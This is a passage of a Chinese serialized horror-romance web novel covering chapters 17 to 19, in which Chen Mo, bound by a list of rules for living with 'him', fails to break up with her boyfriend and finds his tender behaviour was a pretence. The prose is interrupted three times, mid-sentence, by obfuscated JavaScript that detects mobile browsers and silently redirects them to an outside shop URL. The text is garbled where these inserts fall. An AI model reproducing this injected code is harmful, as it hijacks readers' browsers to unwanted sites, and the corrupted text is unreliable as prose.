那时候她还年轻,还相信爱情,还觉得自己是全世界最幸福的女人。 她笑了。 笑容重新绽放在她那张早已贫瘠麻木的脸上,笑的眉眼弯弯。 七 金店的灯光很亮,照得人睁不开眼。 售货员迎上来,笑容满面。 “两位想看看什么?” “金镯子。”王志强说,“给她的。” 售货员看看陈默,又看看王志强,笑容更深了。 “这边请,我们刚到了新款。” 她领着他们到柜台前,从里面拿出几个盒子,打开,一字排开。 金灿灿的镯子,在灯光下闪闪发光。 陈默看着那些镯子,有点眼花。 王志强在旁边问:“喜欢哪个?” 她摇摇头。 “都太贵了。” “别管贵不贵,喜欢哪个?” 她看了一圈,指着最细的那只。 “这个吧,简单点。” 王志强看了一眼,对售货员说:“拿出来试试。” 售货员拿出那只镯子,帮陈默戴上。 细了一圈,素面的,没有花纹,很秀气。 陈默抬起手腕,看那只镯子。 金灿灿的,衬得皮肤很白。 “好看吗?”她问王志强。 他看着她的手腕,点点头。 “好看。” 然后又对售货员说:“有没有粗一点的?” 售货员又拿出几只。 最后,王志强挑了一只最粗的双圈卡地亚款。 “就这个。” 陈默想说太贵了,但看着他脸上的笑,话到嘴边又咽了回去。 他开心就好。 八 从金店出来,陈默手上多了一只金镯子。 沉甸甸的,坠得手腕有点酸。 两个圈相互交叠碰撞,发出清脆的响声,她舍不得摘。 王志强牵着她的手,往电梯走。 “饿了吧?吃饭去。” 陈默点点头。 电梯下行的时候,她看着电梯壁里的自己。 手腕上那只镯子,金灿灿的。 她抬起手,摸了摸。 是真的。 不是梦。 她转过头,看着王志强。 他站在旁边,拿着手机在看什么,脸上带着笑。 那个笑,是放松的,是自在的,是她很久没见过的。 她突然想问一个问题。 但她没问。 她怕一问,这一切就碎了。 九 辣子鸡店在商场四楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387629|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是家新疆菜。 王志强点了辣子鸡炒皮带面、爆炒面肺子、青椒变蛋、烤肉还有两份石河子凉皮。 “够了吧?都是你爱吃的。”他问。 陈默点点头。 “够了,太多了。” 菜上来,热气腾腾的。 她夹了一块辣子鸡,放进嘴里。 辣的,麻的,香得她眼泪都快出来了。 很久没吃过这么好吃的辣子鸡了。 不,不是很久没吃过。 是和同一个人吃,很久没这么开心过了。 她吃着,看着他。 他也在吃,吃得很香,偶尔抬头看她一眼,笑一下。 和以前一样。 和三年以前一样。 十 吃完饭,天已经黑了。 商场里灯全亮了,到处都是人。 王志强牵着她的手,慢慢往外走。 路过一家玩具店,他停下来。 “要不要买个娃娃?” 陈默愣了一下。 “什么?” 他指着橱窗里的毛绒玩具。 “你不是喜欢那个吗?” 她顺着他的手看过去。 橱窗里摆着一只很大的熊,棕色的,抱着一个爱心。 她想起刚在一起的时候,他送过她一只小熊。后来搬家弄丢了,她伤心了好几天。 “不要了,”她说,“太占地方。” 他看她一眼。 “真的不要?” 她点点头。 他没再说什么,牵着她的手继续往前走。 十一 回到车上,陈默靠在椅背上,看着窗外的夜景。 车开动,霓虹灯从窗外流过,红的,绿的,黄的,像一条彩色的河。 她抬起手,看着手腕上的金镯子。 金灿灿的,在车里昏暗的光线里,还是亮得晃眼。 “喜欢吗?”王志强问。 她转头看他。 他看着前方,开车,脸上带着笑。 “喜欢。”她说。 他笑了一下。 车继续往前开。 陈默靠回椅背,看着窗外。 脑子里乱七八糟的。 今天的一切,都像做梦。 他牵她的手,给她买奶茶,带她吃辣子鸡,送她金镯子。 和以前一样。 和三年以前一样。 但三天…… 她突然想起那个规则。 三天内必须提分手。 今天算第二天。 明天,是最后一天。 十二 回到家,陈默洗漱完,躺在床上。 王志强洗完澡出来,躺到她旁边。 他伸出手,把她搂进怀里。 “今天开心吗?”他问。 陈默点点头。 “开心。” 他揉着她的头发。 “以后多带你出去。” 她没说话。 他把下巴抵在她头顶。 “以前是我不好,太忙了,顾不上你。” 陈默愣了一下。 他继续说:“以后不会了。” 她抬起头,看着他。 在黑暗里,看不清他的表情。只能看见一个轮廓。 那个轮廓,和以前一样。 她张了张嘴。 想说什么,又不知道该说什么。 最后只是把脸埋进他怀里。 他抱着她,轻轻拍着她的背。 像哄小孩一样。 她闭上眼。 脑子里那个问题,越来越响。 明天,最后一天。 她该怎么办? 十三 不知道过了多久,陈默睡着了。 她做了一个梦。 梦里回到三年前,他们刚在一起的时候。他牵着她的手,走在街上,阳光很好,她觉得自己是全世界最幸福的女人。 然后画面一转,他站在门口,眼睛发着光,脸上爬满了虫子。 她惊醒过来。 浑身冷汗。 王志强还在旁边睡着,呼吸均匀。 她慢慢转过头,看着他的脸。 黑暗里,那张脸,很平静。 没有发光,没有虫子,什么都没有。 就是一张普通的脸。 她看了很久。 然后她躺回去,闭上眼。 但再也睡不着了。 --- 第十七章完 18. 第十八章 就算违反规则,她也认了 第十八章就算违反规则,她也认了 一 陈默醒来的时候,阳光已经照满了整个卧室。 她眨了眨眼,适应了一下光线,然后转过头。 王志强躺在旁边,还没醒。 他侧着身,脸朝着她这边,呼吸均匀。阳光落在他脸上,连那些细小的皱纹都看得清清楚楚。 她看着他,一动不动。 第三天了。 今天,是第三天。 规则说,三天内必须提分手。 她张了张嘴。 那个字,在喉咙里卡着,怎么也出不来。 “分”字很简单,一个音节,嘴唇一碰就能发出来。 但她发不出来。 他就躺在那儿。 呼吸着。 活着。 像个正常人一样。 她看着他的脸。 那张脸,昨晚看着还那么正常。高挺的鼻梁——虽然有点塌,但还算挺;微凸的嘴——因为牙齿不齐,闭上嘴的时候有点鼓;连成一片的下巴——中年发福,早就看不出三层了。 普通的中年男人,普通的样貌。 和商场里、地铁上、饭馆里那些四十多岁的男人没什么两样。 但此刻看着,她突然想起那些事。 那些发光的眼睛。 那些从嘴里爬出来的虫子。 那股油油的、腻腻的、甜酸甜酸的味道。 那个藏在床垫里的心跳。 她闭上眼。 再睁开。 他还在这儿。 还是这张脸。 还是这个躺在阳光里的男人。 阳光照在他脸上,甚至能看见他眼角的细纹,眉毛里有两根特别长的,鼻翼两侧的毛孔有点粗。 这么真实。 这么具体。 这么……像个人。 她该说什么? “我们分手吧”? 五个字。 说出来,就结束了。 三年,就结束了。 她张着嘴,那个字还是出不来。 二 王志强动了动。 他翻了个身,胳膊搭过来,压在她身上。然后他睁开眼,迷糊了几秒,看见她在看他。 笑了。 那个笑,是刚睡醒的那种笑,迷糊的,软的,没有防备的。 “醒了?”他声音有点哑,带着刚睡醒的那种沙沙的质感。 陈默点点头。 他伸出手,把她搂过去,在她额头上亲了一下。 嘴唇是温的。 正常的温度。 “饿不饿?” 她摇摇头,又点点头。 他笑了。 “到底饿不饿?” “有点。” 他坐起来,伸了个大大的懒腰,胳膊举过头顶,腰往前挺,发出一声舒服的闷哼。 “冰箱都空了,”他说,“我昨天找人从农村带了两只土鸡,中午给你炖了。现在去农贸市场买点菜回来。” 他下床,走进卫生间。 陈默躺在床上,听着里面的水声。 水哗哗响着。 正常的,水的声音。 不是那种只有水冲在碗上的声音,是真正的、人洗澡的水声——水打在皮肤上的声音,人转身时带起的水声,偶尔还有他哼歌的声音,断断续续的,听不清是什么调子。 她愣了一下。 她很久没听见这个声音了。 很久很久。 她抬起手,看着手腕上的金镯子。 昨天买的。 他送的。 金灿灿的,在早晨的光线里闪着柔和的光。 她摸着那个镯子,想起昨天的一切。 牵她的手。 买奶茶。 刮刮乐。 辣子鸡。 还有那个得意的、狡黠的笑。 像三年前一样。 像他们刚在一起的时候一样。 她闭上眼。 如果时间能停在这儿,该多好。 三 农贸市场人很多。 周末,又是年底,到处都是拎着菜篮子的大爷大妈,推着小车的商贩,跑来跑去的小孩。 王志强牵着陈默的手,在人群里穿行。 他的手,是温的。 正常的温度。 他的手心有一点汗,滑滑的,但她没松开。 “想吃什么?”他回头问她,声音得大一点,才能盖过周围的嘈杂。 陈默看着满市场的菜,眼睛都不知道往哪儿放。一堆一堆的青菜,红的辣椒,紫的茄子,绿的黄瓜,还有活鱼在盆里扑腾,溅出水花。 “随便。” “随便最难做。”他笑,露出一口不太整齐的牙,“说个具体的。” 她想了想。 “想吃藕。” “行,买藕。” 他拉着她走到卖藕的摊前。一堆藕堆在那儿,沾着泥,长短不一。他蹲下来,一个一个地挑,拿起来看看,捏捏,放回去,再拿另一个。 “要哪样的?”摊主问。 “炖汤的,要粉的。” “这两节好,你看这节短的,最粉。” 他接过来看了看,又捏了捏,点点头。 “就这两节。” 称了,付钱,装袋。 他站起来,把袋子递给她拎着。 “还要什么?” “你看着买。” 他又买了一把青菜——嫩嫩的,叶子还带着水珠;几个西红柿——红彤彤的,摸着有点硬,他说这种的好炒;一把葱——翠绿翠绿的;一块姜——不大不小,皮薄。 走到卖咸菜的摊前,他停下来。 一个老婆婆坐在那儿,穿着旧棉袄,戴着毛线帽,面前摆着几个大盆。萝卜干,雪里蕻,酸豆角,还有陈默最爱吃的糖蒜。 “要不要买点糖蒜?”他问。 陈默点点头。 他蹲下来,和老婆婆聊起来。 “婆婆,这糖蒜怎么卖的?” “十块一斤,自己家腌的,好吃得很。”老婆婆说话带着口音,但能听懂。 “能尝不?” “能尝能尝。” 老婆婆拿了个小碟子,夹了一颗糖蒜递给他。 他接过来,咬了一小口,嚼了嚼。 “嗯,不错。”他把剩下的递给陈默,“你尝尝。” 陈默接过来,咬了一口。 甜的,酸的,脆的。 好吃。 他看见她点头,笑了。 “来一斤。” 老婆婆称了,装袋,递给他。 他付了钱,站起来。 看见旁边有卖橘子的,又走过去。 “橘子甜不甜?” “甜得很,你尝一个。” 他拿起一个,剥开,掰了一瓣递给陈默。 她放进嘴里。 甜的。 他看着她,等她的反应。 她点点头。 他又笑了。 “来三斤。” 陈默站在旁边,看着他。 他和老婆婆说话的样子,和商贩讨价还价的样子,挑橘子时认真的样子——和任何一个来买菜的中年男人一样。普通,平常,没什么特别。 但看着看着,她眼眶有点酸。 多久没这样了? 多久没和他一起逛过菜市场了? 刚在一起的时候,他们经常来。那时候他租的房子小,厨房也小,但她喜欢做饭,他就陪她来买菜。她挑菜,他拎袋子。她问他想吃什么,他都说随便。后来她就不问了,按自己喜欢的买。 再后来,不知道从什么时候开始,就变成她一个人来了。 他来不了,在忙。 再再后来,她也不怎么做饭了。 买菜?点外卖就行了。 方便,快捷,不用洗碗。 但此刻,站在这嘈杂的农贸市场里,闻着各种味道混在一起的复杂气息,听着四面八方传来的讨价还价声,看着他和商贩认真地挑着菜—— 她突然觉得,这才是生活。 真正的,有烟火气的生活。 四 从农贸市场出来,两个人手里都拎满了东西。 王志强腾出一只手,牵着她。 “回家做饭。” 陈默点点头。 回家的路上,阳光很好。 十二月的阳光,不热,但暖洋洋的,照在身上很舒服。路边的树上还挂着几片枯叶,风一吹,哗啦啦响。 她走在他旁边,被他牵着。 看着两个人的影子在地上拉得很长。 他走得快一点,她跟得慢一点,但手一直牵着。 像一对恩爱的夫妻。 买菜回家,做饭吃饭,普通得不能再普通的周末。 她突然想,如果时间能停在这一刻,该多好。 五 回到家,王志强钻进厨房,开始忙活。 陈默换了衣服,先站在厨房门口看了一会儿。 他把菜一样一样从袋子里拿出来,藕放在水池边,青菜放在篮子里,西红柿放在台面上。然后系上围裙——那条围裙是她买的,灰蓝色,前面印着一只卡通猫,他一直嫌弃,但今天自己系上了。 他从冰箱里拿出那两只土鸡。 已经杀好处理过的,装在保鲜袋里。他打开袋子,把鸡拿出来,放在案板上。 然后拿起刀。 砰,砰,砰。 剁骨头的声音,很有节奏。 陈默看了一会儿,转身开始打扫卫生。 客厅的地板好几天没拖了,她拿了拖把,从里到外拖了一遍。拖到沙发旁边的时候,她停下来,看着那个坑。 那个坑,已经很浅了。 不注意看,根本看不出来。 她站在那儿,看着那个坑。 昨晚,他们还一起坐在这儿看电视。 他搂着她,她靠在他身上。 和以前一样。 和三年以前一样。 她蹲下来,伸手摸了摸那个地方。 软的,正常的,和旁边一样。 什么都没有。 也许真的什么都没有。 也许那些事,真的是她压力太大产生的幻觉。 也许她根本没有看见那些虫子,没有闻到那个味道,没有见过那两只发光的眼睛。 也许一切都是一场很长很长的噩梦。 现在,梦醒了。 她站起来,继续拖地。 拖完客厅,又擦了茶几,把沙发的垫子拍了拍,把茶几上的遥控器摆正,把窗帘拉开,让更多的阳光照进来。 整个客厅,亮堂堂的,干干净净的。 她站在客厅中央,看着这个家。 挺好的。 真的挺好的。 六 拖完地,她又去收拾卧室。 床单该换了,她扯下来,扔进洗衣机。枕头拍松,被子叠好,床头柜上的东西摆整齐。 那个抽屉,她打开看了一眼。 那瓶液体还在,压在一叠旧衣服下面。 她盯着那个小瓶子,看了几秒。 然后她关上抽屉。 不看它。 就当它不存在。 她走出卧室,又去收拾卫生间。 洗手台上的瓶瓶罐罐摆好,镜子擦干净,地拖干。 镜子里的自己,她看了一眼。 眼袋没那么重了。痘也消了一些。脸色还是不好,但比之前强。 最要紧的是—— 眼睛里的那点亮,淡了。 很淡很淡,不仔细看,根本看不见。 她盯着那双眼睛,看了很久。 也许真的是病。 也许过几天就全好了。 她低下头,继续收拾。 七 收拾完卫生,她走到厨房门口。 王志强还在忙。 锅里的油滋滋响着,香味飘出来,是鸡肉和辣椒的香味。他站在灶台前,拿着锅铲在翻炒,动作很熟练。 她看着他的背影。 那个背影,在忙碌着。 他系着那条卡通猫的围裙,袖子挽到手肘,露出小臂。小臂上有一道疤,是前年不小心划的,她还记得那天他回来,手上包着纱布,说是工地上不小心。 现在那道疤已经很淡了,要仔细看才看得见。 他炒菜的时候,身体会微微前倾,脖子上的肉会堆起来,形成一道一道的褶子。后脑勺的头发有点稀疏,但还没秃,只是发际线比三年前高了点。 她看着那个背影,心里暖暖的。 这个男人,在给她做饭。 两只土鸡,从农村带回来的,专门给她炖的。 她站在门口,看着那个忙碌的背影,看了很久。 然后她走过去,从后面抱住他。 他愣了一下。 “怎么了?” 她把脸贴在他背上,没说话。 他笑了,继续炒菜。 “再抱一会儿,菜该糊了。” 她还是没松手。 他关了火,转过身,把她搂进怀里。 “今天怎么这么黏人?” 她埋在他胸口,闷闷地说:“就是想抱。” 他揉着她的头发,下巴抵在她头顶。 “抱吧,抱多久都行。” 她就这么抱着他,抱了很久。 八 吃饭的时候,王志强给她夹了好多鸡肉。 “多吃点,土鸡有营养。” 陈默低头吃着,没说话。 他坐在对面,自己也吃着,偶尔抬头看她一眼,笑一下。 阳光从窗户照进来,落在他身上,落在她身上,落在饭桌上。 一切都那么正常。 那么美好。 她吃着吃着,突然想起那个问题。 今天,是第三天。 她该说分手了。 她停下筷子,看着他。 他抬起头。 “怎么了?” 她张了张嘴。 “没……没事。” 他又笑了。 “吃吧,吃完还有汤。” 她低下头,继续吃。 但那些鸡肉,什么味道都尝不出来了。 九 吃完饭,王志强去洗碗。 陈默坐在沙发上,听着厨房里的水声。 脑子里两个声音在打架。 一个说:说啊,今天最后一天了。规则就是规则,你忘了上次违反规则之后发生什么了吗?那些虫子,那个味道,那双发光的眼睛——你忘了? 另一个说:可是现在多好啊。他变回来了,和以前一样了。那些事,也许都是你压力太大产生的幻觉。也许根本没有什么规则,没有什么怪物,都是你想象出来的。 一个说:那你的眼睛呢?你眼睛里的那点亮呢?现在淡了,但之前确实亮过。那也是幻觉吗? 另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387630|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个说:也许是病呢?也许是没睡好呢?也许是那段时间太累了呢?现在不是好了吗? 一个说:你敢赌吗?赌那些事都是假的?赌他永远不会再变回去? 另一个说:你敢分吗?分了你怎么办?你去哪儿?你一个人能活吗? 一个说:可是—— 另一个说:别说了。你看现在多好。他给你做饭,陪你逛街,送你金镯子。你想要的,不就是这个吗? 陈默闭上眼。 她不敢。 她不敢赌,也不敢分。 她只想让这一刻,永远停在这儿。 十 王志强洗完碗,走过来,坐到她旁边。 伸手把她搂进怀里。 “想什么呢?” 陈默靠在他胸口,听着他的心跳。 咚,咚,咚。 正常的,人的心跳。 “没想什么。”她说。 他揉着她的头发。 “下午干嘛?” 她摇摇头。 “不知道。” “那就在家待着?看电视?” “好。” 他拿起遥控器,打开电视。 随便找了个电影,放了起来。 陈默靠在他身上,看着电视。 屏幕上的人在说话,在动,但她什么都没看进去。 脑子里全是那个问题。 说,还是不说? 分,还是不分? 十一 她想起小时候。 她出生在一个很传统的家庭。 爸爸是工人,妈妈是厂里的会计。两个人都是老实本分的人,但在一起就是过不好。为钱吵,为孩子吵,为一切能吵的事吵。 她从小就学会了看脸色。 爸妈不开心的时候,她就不说话,躲在房间里,假装写作业。吃饭的时候,低着头,不敢看他们。有时候吵得凶了,她就捂着耳朵,躲在被子里哭。 她从来没听过爸妈说“我爱你”。 从来没被爸妈抱过。 从来没感受过那种“被爱”是什么感觉。 妈妈心情好的时候,会摸摸她的头,说“听话”。但那种摸,是应付的,是机械的,像完成任务一样。 爸爸更不会表达。他下班回来,就是吃饭,看电视,睡觉。和她说话,从来不超过三句。 她以为,这就是正常的。 所有的家,都是这样的。 后来长大了,谈恋爱了,遇到王志强。 一开始他多好啊。 幽默,自信,眼睛里全是光。 他逗她笑,牵她的手,把她手装在自己兜里。 他会在她难过的时候抱她,在她累的时候给她捏肩,在她饿的时候带她去吃好吃的。 他会说“我想你了”,会说“你真好看”,会说“有你在真好”。 她第一次知道,原来被人爱是这种感觉。 暖暖的,软软的,像泡在温水里。 她觉得,这就是爱吧。 终于有人爱她了。 终于有人愿意抱她了。 她不想放手。 她不能放手。 十二 电影放完,又开始放另一个。 王志强换了几个台,最后停在一个综艺节目上,罐头笑声一阵一阵的。 陈默靠在他身上,看着那些人在屏幕上又唱又跳。 她突然开口。 “王志强。” “嗯?” “你会一直对我好吗?” 他愣了一下,低头看她。 “怎么突然问这个?” “就是想问。” 他看着她,看了几秒。 然后笑了。 “会。” 就一个字。 陈默看着他,等他继续说。 但他没继续说。 就那一个字。 会。 她不知道这个“会”是真的还是假的。 但她决定信。 十三 晚上,他们又一起做饭。 她洗菜,他切菜。她打鸡蛋,他炒菜。两个人挤在小小的厨房里,转个身都会碰到对方。 碰到的时候,他会笑一下,或者故意撞她一下。 她也笑。 很久没有这样笑过了。 吃饭的时候,他又给她夹菜。 “多吃点。” 她吃着,看着他。 “你也吃。” 他点点头。 吃完饭,她抢着洗碗。 “你做饭,我洗碗。” 他靠在厨房门口,看着她洗。 “洗快点,等会儿看电视。” 她回头看他一眼。 “知道了。” 他笑着走开了。 她站在水槽前,看着水哗哗流着。 碗一个一个洗干净,放好。 她的影子映在窗户上,模模糊糊的。 她看着那个影子,突然问自己:如果这一刻能永远停在这儿,你愿意付出什么代价? 答案是:什么都愿意。 十四 晚上十点多,王志强去洗澡。 陈默躺在床上,听着卫生间里的水声。 哗哗的,正常的,人的水声。 她抬起手,看着手腕上的金镯子。 金灿灿的,在灯光下闪闪发光。 昨天买的。 他送的。 她摸着那个镯子,心里涌起一股说不清的感觉。 是幸福吗? 也许是吧。 她已经很久没有过这种感觉了。 她想起这三年。 从什么时候开始变的?她不知道。 也许是他工作越来越忙,回来越来越晚。也许是她越来越沉默,越来越不爱说话。也许是两个人之间的距离,不知道从什么时候开始,越拉越大。 但今天,好像又回来了。 那个她爱的男人,回来了。 王志强洗完澡出来,躺到她旁边。 身上是沐浴露的味道,清清爽爽的。 不是那个油油的、腻腻的、甜酸甜酸的味道。 是正常的,人的味道。 他伸手把她搂进怀里。 “睡吧。” 陈默点点头。 闭上眼。 那个问题,还在脑子里响。 但她把它压下去了。 她不想想了。 今天不想。 以后也不想。 就这样过吧。 就算是违反规则,她也认了。 她太想要这个了。 太想了。 十五 不知道过了多久,她睡着了。 梦里,她又回到了三年前。 他牵着她的手,走在街上,阳光很好。 她笑了。 笑着笑着,她醒了。 王志强还在旁边睡着,呼吸均匀。 窗外有月亮,照进来,在地上切出一条光。 她看着他。 看了很久。 然后她伸出手,轻轻摸了摸他的脸。 温的。 正常的温度。 她凑过去,在他额头上亲了一下。 然后躺回去,闭上眼。 继续睡。 这一次,她睡得很沉。 没有梦。 什么都没有。 --- 第十八章完 19. 第十九章 该醒醒了 第十九章该醒醒了 一 陈默笑着醒来。 她做了一个很长的梦,梦里全是阳光。她记不清具体梦见了什么,只记得自己一直在笑。 嘴角还留着笑过的弧度。 她睁开眼。 然后她僵住了。 今天的天气不如前两天好。 窗帘没拉严,但透进来的光是灰白色的,没有昨天那种暖洋洋的金色。外面好像阴天,或者要下雪。 但这不是让她僵住的原因。 让她僵住的是—— 空气中隐约弥漫着一股熟悉的油味。 油油的,腻腻的,甜酸甜酸的。 像肉放坏了的那种味道。 陈默的眼睛一下子瞪大。 那个味道,已经好几天没出现了。 她以为它消失了。 她以为那些事都是幻觉。 她以为…… 她慢慢转过头。 一点一点。 脖子像生锈的齿轮一样,每转一点都发出咯吱的响声。 王志强躺在旁边。 睁着眼。 那两只眼睛,在灰白的光线里,发着光。 他盯着她。 不知道已经盯了多久。 陈默的呼吸停了。 她就那样看着他,一动不动。 他也看着她,一动不动。 两个人就这么对视着。 空气里那个味道,越来越浓。 二 “陈默。” 他开口了。 声音和平时一样,又不一样。还是那个音色,还是那个语调,但听着总觉得是从很深很深的地方传上来的。 她没说话。 他看着她的眼睛。 那两只发光的眼睛。 “第四天了。”他说。 第四天。 她违反规则了。 三天内必须提分手。 她没提。 今天是第四天。 “你知道这意味着什么吗?”他问。 陈默张了张嘴,喉咙里干得发不出声音。 他笑了。 那个笑,不是前两天那种温暖的、眯着眼睛的笑。是那个贴上去的、不动的、不属于那张脸的笑。 “你做了选择。”他说。 选择? 什么选择? 她什么都没选。 她只是……太想要那个温暖了。 太想要那个牵她的手、给她买奶茶、送她金镯子的男人了。 她只是太想相信,那些可怕的事都是幻觉。 她只是…… “陈默。” 他的声音打断她。 她看着他。 那两只发光的眼睛,离她很近。 “该醒醒了。”他说。 该醒醒了。 这四个字,像一把刀,扎进她心里。 她懂了。 前两天的生活,都是假的。 那个牵她手的男人,那个给她买奶茶的男人,那个送她金镯子的男人,那个说“以后多带你出去”的男人—— 都是假的。 是他装出来的。 只是为了让她在三天内不说分手。 他的目的达到了。 她没提。 她输了。 三 陈默躺在床上,看着天花板。 灰白色的,和前两天一样。 但感觉完全不一样了。 前两天,她觉得这个天花板是温暖的,是家的感觉。 现在,她觉得这个天花板压着她,要掉下来了。 王志强已经起来了。 她听见他在客厅里走动的声音,听见他去卫生间的声音,听见他烧水的声音。 和平时一样。 和以前一样。 但一切都不一样了。 她慢慢坐起来,下床,走到卫生间门口。 他正在刷牙。 牙刷在嘴里动着,泡沫从嘴角流出来。他看着镜子里的自己,也看着镜子里的她。 那两只眼睛,在镜子里也发着光。 “看什么?”他含混不清地问。 陈默没说话。 他漱了口,擦了擦嘴,转过身看着她。 “想问什么?” 她张了张嘴。 “你……装的?” 他笑了。 那个笑,和前两天一模一样。 温暖,眯着眼,嘴角弯的弧度都对。 但现在看着,只觉得后背发凉。 “你猜。”他说。 他走过她身边,进了卧室。 陈默站在卫生间门口,看着镜子里自己的脸。 那两只眼睛里的亮,又回来了。 比前几天更亮。 四 那天,陈默没去上班。 她给周行长发微信,说身体不舒服,再请一天。 周行长没回。 她坐在沙发上,盯着那个坑。 那个坑,又变深了。 昨天还浅得几乎看不见,今天又深了。 和以前一样。 她伸手摸了摸。 湿的。 黏的。 凉的。 和以前一样。 她把手收回来,看着手指上沾的那点东西。 黑的,黏黏的,像油又不像油。 那个味道,浓得她想吐。 但她没吐。 她站起来,去卫生间洗手。 洗了一遍,又洗了一遍,又洗了一遍。 洗不掉。 那个味道,像渗进皮肤里了。 五 王志强在卧室里待了一上午。 陈默不知道他在干什么。没听见声音,没看见他出来。 中午的时候,他出来了。 换了衣服,拿了车钥匙。 “我出去一趟。”他说。 走到门口,回头看她一眼。 那两只眼睛,还是发着光。 “别乱跑。” 门关上了。 陈默坐在沙发上,听着他的脚步声远去,听着电梯门打开又关上。 然后她站起来,走进卧室。 她要看看,他在里面干什么。 卧室里没什么变化。 床铺好了,被子叠了,枕头摆正。 但那个味道,比客厅里更浓。 她走到床边,掀开被子。 那个人形印子,又深了。 和沙发上的坑一样,深得能看见床垫里的东西。 她伸手摸了摸。 湿的。 黏的。 凉的。 她把手伸进去,往床垫里面摸。 摸到一块硬的东西。 和以前一样,会动。 一下,一下,一下。 像心跳。 她把手抽回来,退后几步。 盯着那个地方。 那个心跳,还在。 一直在。 六 陈默走出卧室,站在客厅中央。 她不知道该干什么。 脑子里乱成一团。 他装出来的。 那两天,都是假的。 那些温暖,那些笑,那些话——都是假的。 她差点信了。 她真的信了。 她以为他回来了。 她以为那些可怕的事都是幻觉。 她以为他们可以回到三年前。 全是假的。 她站了很久。 然后她想起一个问题。 王志强为什么要装? 为了让她不说分手。 为什么不让她说分手? 因为规则。 那张纸条上的规则。 第三条:如果他在酒桌上吹牛说“我女朋友是银行的,有的是钱”,三天内必须提分手。 她没提。 她违反了规则。 然后呢? 然后他变回原来的样子。 不,比原来更可怕。 但问题是——他也在遵守规则吗? 他装成正常人,让她不提分手,这算遵守规则吗? 还是说,他有他自己的规则? 七 陈默走到茶几前,拿起那张纸条。 那张纸条已经皱了,毛边都卷起来了,有几处被汗浸湿过,字迹模糊。 但她还记得每一个字。 《与“他”同居共存守则》 1. 他深夜回家敲门时,不要马上开门。数到三十,再开。 2. 他喝醉后说的话,无论多难听,不要反驳,不要流泪,点头就好。 3. 如果他在酒桌上吹牛说“我女朋友是银行的,有的是钱”,三天内必须提分手。 4. 真正的他,从不洗澡。 5. 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。能跑多远跑多远。 她盯着这些规则,看了很久。 这些规则,是给她的。 让她遵守的。 她遵守了第一条。 违反了第二条。 现在又违反了第三条。 每一次违反,他都会变。 第一次违反后,他开始变了。有了味道,眼睛发光,虫子从嘴里爬出来。 第二次违反后,他消失了十八天。回来之后,更可怕了。 那如果他也有规则呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387631|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的规则是什么? 不能让她提分手? 不能在三天内让她提分手? 还是说,必须让她自己选择留下? 她不知道。 但她知道一件事—— 他装成正常人,让她不提分手。 他的目的达到了。 那接下来呢? 八 晚上,王志强回来了。 他手里拎着两个袋子,一个里面是菜,一个里面是水果。 “饿了吧?”他问,“我做饭。” 他走进厨房,开始忙活。 和前两天一样。 和那个“装出来”的他一样。 陈默站在厨房门口,看着他。 他切菜,炒菜,炖汤。 动作熟练,和正常人一样。 但那个味道,从他身上散发出来,越来越浓。 “看什么?”他回头问她,笑着。 那个笑,也和前两天一样。 温暖,眯着眼,嘴角弯的弧度都对。 但陈默现在知道,那是假的。 全是假的。 “没什么。”她说。 她转身走回客厅,坐下。 听着厨房里的声音。 炒菜的声音,和正常人一样。 但不一样了。 什么都不一样了。 九 吃饭的时候,他又给她夹菜。 “多吃点。” 陈默低头吃着,没说话。 他坐在对面,也吃着。 阳光没了,窗外是灰蒙蒙的天。客厅里开着灯,灯光照在饭桌上,照在他脸上。 那两只眼睛,在灯光下,发着光。 她看见了。 他也知道她看见了。 但他没掩饰。 就那么吃着,偶尔抬头看她一眼,笑一下。 那个笑,现在看着,只觉得可怕。 吃完饭,他去洗碗。 陈默坐在沙发上,听着厨房里的水声。 那个水声,又变回以前那样了。 只有水冲在碗上的声音。 没有他洗手的声音。 没有水从他手上滴下来的声音。 只有水,和碗。 十 晚上,他们躺在床上。 他躺在她旁边,呼吸均匀。 那股味道,浓得她几乎窒息。 她睁着眼,盯着天花板。 脑子里反复响着一句话。 他说的那句话。 “该醒醒了。” 她醒了。 彻底醒了。 那两天,是假的。 那些温暖,是假的。 那个牵她手、给她买奶茶、送她金镯子的男人,是假的。 真的那个,躺在她旁边。 发着光。 散发着腐烂的味道。 不知道什么时候会露出真面目。 她慢慢转过头,看他。 黑暗里,他睁着眼。 那两只发光的眼睛,在黑暗里亮着。 盯着她。 “睡不着?”他问。 陈默没说话。 他伸出手,放在她脸上。 凉的。 比之前更凉了。 那只手在她脸上慢慢移动,从额头到眼睛,从眼睛到鼻子,从鼻子到嘴巴。 “别怕。”他说,“还早。” 还早。 又是这个词。 什么意思? 他不知道。 